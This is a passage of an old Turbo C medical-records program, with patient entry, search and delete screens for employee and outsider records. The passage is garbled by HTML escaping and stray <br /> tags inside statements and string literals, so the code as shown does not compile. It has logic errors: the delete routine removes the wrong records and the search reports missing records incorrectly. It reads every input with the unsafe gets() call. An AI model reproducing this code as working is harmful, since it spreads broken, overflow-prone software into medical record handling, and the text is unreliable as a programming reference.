(x&gt;=112&amp;&amp;y==168&amp;&amp;x&lt;=456&amp;&amp;y==168)){fs=fopen("medical3.dat","r+");if(fs==NULL){ fs=fopen("medical3.dat","w+");    if(fs==NULL)        {   printf("cannot open file");        }}textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(7);textbackground(BLACK);highvideo();gotoxy(1,1);cprintf("Ú");for(a=2;a&lt;79;a++){gotoxy(a,1);cprintf("Ä");}gotoxy(79,1);cprintf("¿");for(b=2;b&lt;25;b++){gotoxy(1,b);cprintf("³");}gotoxy(1,25);cprintf("À");for(a=2;a&lt;79;a++){gotoxy(a,25);cprintf("Ä");}gotoxy(79,25);cprintf("Ù");for(b=2;b&lt;25;b++){gotoxy(79,b);cprintf("³");}gotoxy(2,2);textcolor(BLACK+BLINK);textbackground(WHITE);lowvideo();cprintf("                             PATIENT ENTRY FORM");textcolor(10);textbackground(8);highvideo();gotoxy(3,3);cprintf("Ú");gotoxy(4,2);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(77,3);cprintf("¿");for(a=4;a&lt;20;a++){gotoxy(3,a);cprintf("³");}for(b=4;b&lt;20;b++){gotoxy(77,b);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a&lt;21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a&lt;21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=2;a&lt;79;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}fseek(fs,0,SEEK_END);textcolor(10);gotoxy(6,4);cprintf("Employee Number #");gotoxy(6,6);cprintf("Date-&gt;");&lt;br /&gt;gotoxy(6,8);&lt;br /&gt;cprintf("Patient Name(if Emp. enter Emp.name)-&gt;");&lt;br /&gt;gotoxy(6,10);&lt;br /&gt;cprintf("Age-&gt;");&lt;br /&gt;gotoxy(6,12);&lt;br /&gt;cprintf("Sex(M/F)-&gt;");&lt;br /&gt;gotoxy(6,14);&lt;br /&gt;cprintf("");&lt;br /&gt;gotoxy(6,16);&lt;br /&gt;cprintf("Medicine Desc.-&gt;");&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                    ");&lt;br /&gt;gotoxy(24,4);&lt;br /&gt;flag=1;&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(s.empno2);&lt;br /&gt;if(strlen(s.empno2)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("EMPLOYEE NO. CANNOT BE LEFT BLANK");&lt;br /&gt;getch();}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                       ");&lt;br /&gt;gotoxy(12,6);&lt;br /&gt;flag=1;&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(s.date);&lt;br /&gt;if(strlen(s.date)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("DATE CAN NOT BE LEFT BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                         ");&lt;br /&gt;textcolor(7);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(44,8);&lt;br /&gt;cprintf("                                 ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(44,8);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(s.patient);&lt;br /&gt;if(strlen(s.patient)==0 || strlen(s.patient)&gt;25)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("PATIENT NAME CAN NOT BE LEFT BLANK OR &gt;25");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;gotoxy(11,10);&lt;br /&gt;fflush(stdin);&lt;br /&gt;scanf("%d",&amp;s.age);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;gotoxy(16,12);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(s.sex);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                         ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(22,16);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(s.medicine);&lt;br /&gt;if(strlen(s.medicine)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;cprintf("THIS FIELD CAN NOT BE LEFT BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;fwrite(&amp;s,sizeof(s),1,fs);&lt;br /&gt;fclose(fs);&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;textbackground(6);&lt;br /&gt;gotoxy(12,24);&lt;br /&gt;cprintf(" Press M to Return to "MAIN MENU" or Esc to "EXIT".....&lt;br /&gt;");&lt;br /&gt;a=getch();&lt;br /&gt;//a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/****************************SEARCH&lt;br /&gt;RECORDS**********************************/&lt;br /&gt;SEARCHEMP()&lt;br /&gt;{&lt;br /&gt;//If statement for SEARCH RECORDS started&lt;br /&gt;if(x&gt;=32&amp;&amp;y==80&amp;&amp;x&lt;=152&amp;&amp;y==80){fp=fopen("medical1.dat","r+");//file open for read onlyif(fp==NULL){     fp=fopen("medical1.dat","w+");//file open for write only  if(fp==NULL)      {        printf("Cannot open file");      }}fs=fopen("medical3.dat","r+");if(fs==NULL){ fs=fopen("medical3.dat","w+");    if(fs==NULL)        {   printf("cannot open file");        }}do{textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(BLACK+BLINK);textbackground(7);gotoxy(3,2);cprintf("                    SEARCH PATIENT RECORD(For Emp. only)");textcolor(10);textbackground(BLACK);gotoxy(3,3);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(3,3);cprintf("Ú");gotoxy(77,3);cprintf("¿");for(a=4;a&lt;20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a&lt;20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a&lt;21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a&lt;21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=3;a&lt;78;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}textcolor(10);textbackground(BLACK);highvideo();do{gotoxy(21,21);textbackground(8);cprintf("                                        ");flag=1;gotoxy(4,4);cprintf("Enter Emp. No.-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(id1);&lt;br /&gt;if(strlen(id1)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(25,21);&lt;br /&gt;cprintf("THIS FIELD CAN NOT BE LEFT BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(21,21);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                        ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(4,5);&lt;br /&gt;cprintf("&lt;br /&gt;Enter Date-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(dateemp);&lt;br /&gt;if(strlen(dateemp)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(25,21);&lt;br /&gt;cprintf("ENTER DATE OF RECORD ENTRY");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;gotoxy(4,7);&lt;br /&gt;cprintf("&lt;br /&gt;Enter Patient Name-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(nameemp);&lt;br /&gt;textcolor(4);&lt;br /&gt;gotoxy(4,9);&lt;br /&gt;cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt;ÄÄÄÄÄÄÄÄ");&lt;br /&gt;rewind(fp);&lt;br /&gt;rewind(fs);&lt;br /&gt;while((fread(&amp;e,sizeof(e),1,fp)==1) &amp;&amp; (fread(&amp;s,sizeof(s),1,fs)==1))&lt;br /&gt;{&lt;br /&gt;if(strcmp(id1,s.empno2)==0 &amp;&amp; strcmp(dateemp,s.date)==0 &amp;&amp;&lt;br /&gt;strcmp(id1,e.empno)==0)&lt;br /&gt;{&lt;br /&gt;textcolor(6);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(24,10);&lt;br /&gt;cprintf("Employee Name-&gt;%s",e.empname);&lt;br /&gt;gotoxy(24,11);&lt;br /&gt;cprintf("Employee No.-&gt;%s",e.empno);&lt;br /&gt;gotoxy(24,13);&lt;br /&gt;textcolor(10);&lt;br /&gt;cprintf("Patient Name-&gt;%s",s.patient);&lt;br /&gt;gotoxy(24,14);&lt;br /&gt;cprintf("Patient Age-&gt;%d",s.age);&lt;br /&gt;gotoxy(24,15);&lt;br /&gt;cprintf("Patient Sex-&gt;%s",s.sex);&lt;br /&gt;gotoxy(24,16);&lt;br /&gt;cprintf("Medicine given-&gt;%s",s.medicine);&lt;br /&gt;//printf("&lt;br /&gt;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;fclose(fp);&lt;br /&gt;fclose(fs);&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;if(strcmp(id1,s.empno2)!=0 &amp;&amp; strcmp(dateemp,s.date)!=0 )&lt;br /&gt;{&lt;br /&gt;textcolor(10);&lt;br /&gt;gotoxy(6,10);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt; SORRY,RECORD NOT PRESENT");&lt;br /&gt;}&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt; WANT TO SEARCH ANOTHER RECORD(y/n)-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;another=getche();&lt;br /&gt;}while((another=='y')||(another=='Y'));&lt;br /&gt;textbackground(6);&lt;br /&gt;textcolor(10+BLINK);&lt;br /&gt;gotoxy(17,23);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt; Press M to Return to Main Menu and Esc to Exit....");&lt;br /&gt;a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}//If statement for SEARCH RECORDS completed&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/***************************DELETE&lt;br /&gt;RECORDS***********************************/&lt;br /&gt;DELETEEMP()&lt;br /&gt;{&lt;br /&gt;//If statement for DELETE RECORDS started&lt;br /&gt;if(x&gt;=192&amp;&amp;y==64&amp;&amp;x&lt;=304&amp;&amp;y==64){fs=fopen("medical3.dat","r+");if(fs==NULL){ fs=fopen("medical3.dat","w+");    if(fs==NULL)        {   printf("cannot open file");        }}do { textbackground(8); textcolor(7); highvideo(); clrscr(); restrictmouseptr1(); hidemouseptr(); _setcursortype(_SOLIDCURSOR); textcolor(10); gotoxy(4,7); cprintf("Ú"); gotoxy(77,7); cprintf("¿"); for(a=8;a&lt;20;a++) { gotoxy(4,a); cprintf("³"); } for(a=8;a&lt;20;a++) { gotoxy(77,a); cprintf("³"); } gotoxy(4,20); cprintf("À"); gotoxy(77,20); cprintf("Ù"); textcolor(8+BLINK); textbackground(7); lowvideo(); gotoxy(4,6); cprintf("                          DELETE  PATIENT  ENTRY"); textcolor(7); textbackground(8); highvideo(); for(a=3;a&lt;79;a++) { for(b=5;b&lt;6;b++) { gotoxy(a,b); cprintf("Û"); }} for(a=3;a&lt;79;a++) { for(b=21;b&lt;23;b++) { gotoxy(a,b); cprintf("Û"); }} for(b=6;b&lt;22;b++) { gotoxy(3,b); cprintf("Û"); } for(b=6;b&lt;22;b++) { gotoxy(78,b); cprintf("Û"); } textcolor(10); highvideo(); gotoxy(5,7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); gotoxy(5,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); textcolor(10); highvideo(); gotoxy(6,9); cprintf("Enter Employee No.-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; gets(del1);&lt;br /&gt; gotoxy(6,10);&lt;br /&gt; cprintf("Enter Patient Name-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; gets(petname);&lt;br /&gt; gotoxy(6,11);&lt;br /&gt; cprintf("Enter Date-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; gets(dates);&lt;br /&gt; fps=fopen("medical4.dat","w+");&lt;br /&gt; rewind(fs);&lt;br /&gt; while(fread(&amp;s,sizeof(s),1,fs)==1)&lt;br /&gt; {&lt;br /&gt; if(strcmp(s.empno2,del1)!=0 &amp;&amp; strcmp(s.date,dates)!=0 &amp;&amp;&lt;br /&gt;strcmp(s.patient,petname)!=0)&lt;br /&gt; fwrite(&amp;s,sizeof(s),1,fps);&lt;br /&gt; }&lt;br /&gt; fclose(fs);&lt;br /&gt; fclose(fps);&lt;br /&gt; remove("medical3.dat");&lt;br /&gt; rename("medical4.dat","medical3.dat");&lt;br /&gt; fs=fopen("medical3.dat","r+");&lt;br /&gt; gotoxy(24,12);&lt;br /&gt; cprintf("RECORD DELETED SUCCESSFULY");&lt;br /&gt; gotoxy(18,14);&lt;br /&gt; cprintf("WANT TO DELETE ANOTHER RECORD(y/n)-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; another2=getche();&lt;br /&gt; }while((another2=='y')||(another2=='Y'));&lt;br /&gt; gotoxy(16,19);&lt;br /&gt; textbackground(6);&lt;br /&gt; cprintf(" Press M to Return to Main Menu or Esc to Exit.... ");&lt;br /&gt; a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}//If statement for DELETE RECORDS completed&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/**************************UPDATE&lt;br /&gt;RECORDS************************************/&lt;br /&gt;UPDATEEMP()&lt;br /&gt;{&lt;br /&gt;//If statement for UPDATE RECORDS started&lt;br /&gt;if(x&gt;=192&amp;&amp;y==72&amp;&amp;x&lt;=304&amp;&amp;y==72){textcolor(1);textbackground(6);clrscr();}//If statement for UPDATE RECORDS completed}/****************************************************************************//***********************For outsiders PATIENTENTRY*************************/OUTENTRY(){if(x&gt;=32&amp;&amp;y==104&amp;&amp;x&lt;=152&amp;&amp;y==104){ft=fopen("medical2.dat","r+");if(ft==NULL){  ft=fopen("medical2.dat","w+");      if(ft==NULL)  {   printf("cannot open file");  }}do{textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(7);textbackground(BLACK);highvideo();gotoxy(1,1);cprintf("Ú");for(a=2;a&lt;79;a++){gotoxy(a,1);cprintf("Ä");}gotoxy(79,1);cprintf("¿");for(b=2;b&lt;25;b++){gotoxy(1,b);cprintf("³");}gotoxy(1,25);cprintf("À");for(a=2;a&lt;79;a++){gotoxy(a,25);cprintf("Ä");}gotoxy(79,25);cprintf("Ù");for(b=2;b&lt;25;b++){gotoxy(79,b);cprintf("³");}gotoxy(2,2);textcolor(BLACK+BLINK);textbackground(WHITE);lowvideo();cprintf("                            OUTSIDER PATIENT ENTRY");textcolor(10);textbackground(8);highvideo();gotoxy(3,3);cprintf("Ú");gotoxy(4,2);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(77,3);cprintf("¿");for(a=4;a&lt;20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a&lt;20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a&lt;21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a&lt;21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=2;a&lt;79;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}textcolor(10);fseek(ft,0,SEEK_END);gotoxy(6,4);cprintf("Patient Number #");gotoxy(6,6);cprintf("Date-&gt;");&lt;br /&gt;gotoxy(6,8);&lt;br /&gt;cprintf("Patient Name-&gt;");&lt;br /&gt;gotoxy(6,10);&lt;br /&gt;cprintf("Age-&gt;");&lt;br /&gt;gotoxy(6,12);&lt;br /&gt;cprintf("Sex(M/F)-&gt;");&lt;br /&gt;gotoxy(6,14);&lt;br /&gt;cprintf("");&lt;br /&gt;gotoxy(6,16);&lt;br /&gt;cprintf("Medicine Desc.-&gt;");&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                    ");&lt;br /&gt;gotoxy(22,4);&lt;br /&gt;flag=1;&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.patientno);&lt;br /&gt;if(strlen(out.patientno)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("PATIENT NO. CANNOT BE LEFT BLANK");&lt;br /&gt;getch();}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                       ");&lt;br /&gt;gotoxy(12,6);&lt;br /&gt;flag=1;&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.date);&lt;br /&gt;if(strlen(out.date)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("DATE CAN NOT SET BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                         ");&lt;br /&gt;textcolor(7);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(20,8);&lt;br /&gt;cprintf("                                                         ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(20,8);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.patient);&lt;br /&gt;if(strlen(out.patient)==0 || strlen(out.patient)&gt;25)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("PATIENT NAME CAN NOT SET BLANK OR &gt;25");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;gotoxy(11,10);&lt;br /&gt;fflush(stdin);&lt;br /&gt;scanf("%d",&amp;out.age);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;gotoxy(16,12);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.sex1);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                         ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(22,16);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.medicine);&lt;br /&gt;if(strlen(out.medicine)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;cprintf("THIS FIELD CAN NOT BE SET BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;fwrite(&amp;out,sizeof(out),1,ft);&lt;br /&gt;fclose(ft);&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("WANT TO ENTER ANOTHER RECORD-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;another1=getche();&lt;br /&gt;}while((another1=='y')||(another1=='Y'));&lt;br /&gt;textbackground(6);&lt;br /&gt;gotoxy(12,24);&lt;br /&gt;cprintf(" Press M to Return to "MAIN MENU" or Esc to "EXIT".....&lt;br /&gt;");&lt;br /&gt;a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}//If statement for Outsiders Patient entry completed&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/************************SEARCH RECORDS For&lt;br /&gt;Outsiders***********************/&lt;br /&gt;SEARCHOUT()&lt;br /&gt;{&lt;br /&gt;if(x&gt;=32&amp;&amp;y==112&amp;&amp;x&lt;=152&amp;&amp;y==112){ft=fopen("medical2.dat","r+");if(ft==NULL){  ft=fopen("medical2.dat","w+");      if(ft==NULL)  {   printf("cannot open file");  }}do{textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(BLACK+BLINK);textbackground(7);gotoxy(3,2);cprintf("                          SEARCH OUTSIDER PATIENT RECORD");textcolor(10);textbackground(BLACK);gotoxy(3,3);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(3,3);cprintf("Ú");gotoxy(77,3);cprintf("¿");for(a=4;a&lt;20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a&lt;20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a&lt;21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a&lt;21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=3;a&lt;78;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}textcolor(10);textbackground(BLACK);highvideo();do{gotoxy(21,21);textbackground(8);cprintf("                                        ");flag=1;gotoxy(4,4);cprintf("Enter Patient No.-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(id);&lt;br /&gt;if(strlen(id)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(25,21);&lt;br /&gt;cprintf("THIS FIELD CAN NOT BE LEFT BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(21,21);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                        ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(4,5);&lt;br /&gt;cprintf("&lt;br /&gt;Enter Date-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(date1);&lt;br /&gt;if(strlen(date1)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(25,21);&lt;br /&gt;cprintf("ENTER DATE OF RECORD ENTRY");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;gotoxy(4,7);&lt;br /&gt;cprintf("&lt;br /&gt;Enter Patient Name-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(name1);&lt;br /&gt;textcolor(4);&lt;br /&gt;gotoxy(4,9);&lt;br 